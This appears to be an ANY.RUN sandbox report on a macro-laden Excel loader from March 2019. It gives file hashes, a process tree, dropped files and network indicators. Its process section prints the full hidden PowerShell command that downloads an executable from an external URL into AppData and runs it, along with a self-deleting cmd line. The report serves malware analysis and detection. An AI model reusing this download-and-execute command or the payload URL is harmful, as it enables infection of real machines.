analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

b14e1b9b4c06d90894340356528ab0ba05a8408d145119bb01d2897139b3564e

Full analysis: https://app.any.run/tasks/36debf00-7077-4c0e-a5bc-3f44cf6132a8
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 13:00:25
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
loader
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Title: r1a176b, Subject: a73b86, Last Saved By: Administrator, Name of Creating Application: Microsoft Excel, Create Time/Date: Sun Mar 17 19:54:49 2019, Last Saved Time/Date: Sun Mar 17 19:54:51 2019, Security: 0
MD5:

A3E57BBED55AAE0885894884874F3B28

SHA1:

B0EB8F99B674048307261B308B3A8B47298340CD

SHA256:

B14E1B9B4C06D90894340356528AB0BA05A8408D145119BB01D2897139B3564E

SSDEEP:

1536:vk3hOdsylKlgryzc4bNhZFGzE+cL2knAEAah6yglyoIKQjEVmbb0iL7dSh:vk3hOdsylKlgryzc4bNhZFGzE+cL2knm

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 1660)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 1660)

    • Application was dropped or rewritten from another process

      • k3ea5.exe (PID: 2912)
      • k3ea5.exe (PID: 2656)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2236)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2236)

    • Creates files in the user directory

      • powershell.exe (PID: 2236)

    • Application launched itself

      • k3ea5.exe (PID: 2656)

    • Starts CMD.EXE for commands execution

      • cmmon32.exe (PID: 2228)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 1660)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
Title: r1a176b
Subject: a73b86
Author: -
Keywords: -
Comments: -
LastModifiedBy: Administrator
Software: Microsoft Excel
CreateDate: 2019:03:17 19:54:49
ModifyDate: 2019:03:17 19:54:51
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: TGDSZ
HeadingPairs:
  • Excel 4.0 Macros
  • 1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
6
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start excel.exe no specs powershell.exe k3ea5.exe no specs k3ea5.exe no specs cmmon32.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1660"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
2236"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $h3535aa = $env:APPDATA; $x9c82 = $h3535aa + '\\k3ea5.exe'; If (test-path $x9c82) {Remove-Item $x9c82}; $gab19 = New-Object System.Net.WebClient; $gab19.Headers['User-Agent'] = 'gab19'; $gab19.DownloadFile('http://www.ti-dental.eu/templates/beez3/POOL.exe', $x9c82); Start-Process -Filepath $x9c82; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2656"C:\Users\admin\AppData\Roaming\k3ea5.exe" C:\Users\admin\AppData\Roaming\k3ea5.exe—powershell.exe
User:
admin
Company:
GOURMET COFFEE SRL
Integrity Level:
MEDIUM
Description:
Branding Dynamic Link Library
Exit code:
0
Version:
18.2.3.3
2912"C:\Users\admin\AppData\Roaming\k3ea5.exe"C:\Users\admin\AppData\Roaming\k3ea5.exe—k3ea5.exe
User:
admin
Company:
GOURMET COFFEE SRL
Integrity Level:
MEDIUM
Description:
Branding Dynamic Link Library
Exit code:
0
Version:
18.2.3.3
2228"C:\Windows\System32\cmmon32.exe"C:\Windows\System32\cmmon32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Monitor
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2388/c del "C:\Users\admin\AppData\Roaming\k3ea5.exe"C:\Windows\System32\cmd.exe—cmmon32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 059
Read events
960
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
1660EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR9DDD.tmp.cvr —
MD5:—
SHA256:—
2236powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4KKOIBPJFTSA96XXPNJB.temp —
MD5:—
SHA256:—
2236powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfa9c4.TMPbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
2236powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
2236powershell.exeC:\Users\admin\AppData\Roaming\k3ea5.exeexecutable
MD5:42E17C9C5148A90F825FBFAF058D8118
SHA256:B7DEA0D895396CE7D22F7F256D1777FDA2D00579733276235F701D111377A93A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2236
powershell.exe
GET
200
77.78.76.177:80
http://www.ti-dental.eu/templates/beez3/POOL.exe
CZ
executable
657 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2236
powershell.exe
77.78.76.177:80
www.ti-dental.eu
Casablanca INT
CZ
suspicious

DNS requests

Domain
IP
Reputation
www.ti-dental.eu
  • 77.78.76.177
suspicious

Threats

PID
Process
Class
Message
2236
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
b14e1b9b4c06d90894340356528ab0ba05a8408d145119bb01d2897139b3564e